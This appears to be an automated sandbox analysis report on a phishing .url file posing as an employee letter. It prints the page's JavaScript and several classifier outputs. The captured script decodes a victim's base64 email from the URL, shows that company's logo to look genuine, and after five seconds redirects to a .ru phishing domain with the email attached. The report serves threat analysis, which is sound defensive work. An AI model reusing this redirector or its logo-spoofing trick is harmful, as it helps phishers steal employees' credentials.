Windows Analysis Report
Employee_Letter.PDFuJPefyDW1j.url

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including decoding a base64-encoded email parameter from the URL hash, extracting the domain, and then redirecting the user to a suspicious domain after a 5-second delay. This behavior is consistent with a phishing or malicious script that may be attempting to steal user information or redirect users to a malicious site."
}

        // Get the base64 encoded email parameter from the URL hash
        var emailEncoded = window.location.hash.substring(1); // Remove the first character '#'
        
        // Decode the base64 encoded email
        function decodeBase64(encodedStr) {
            try {
                return atob(encodedStr);
            } catch (e) {
                console.error('Invalid Base64 string');
                return '';
            }
        }
        
        // Decode the email
        var email = decodeBase64(emailEncoded);
        
        // Extract domain from the email
        var domain = email.split('@')[1];
        
        if (domain) {
            var logoUrl = `https://logo.clearbit.com/${domain}`;
            var logoElement = document.getElementById('domain-logo');
            logoElement.src = logoUrl;
            logoElement.onerror = function() {
                logoElement.style.display = 'none'; // Hide image if it fails to load
            };
        }
        
        // Wait for 3 seconds before redirecting
        setTimeout(function() {
            window.location.href = "https://hMV.vomivane.ru/2b8wjV/#" + emailEncoded;
        }, 5000); // 5000 milliseconds = 5 seconds
    

{
  "contains_trigger_text": true,
  "trigger_text": "Verifying your connection...",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://canseguros.com.br

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}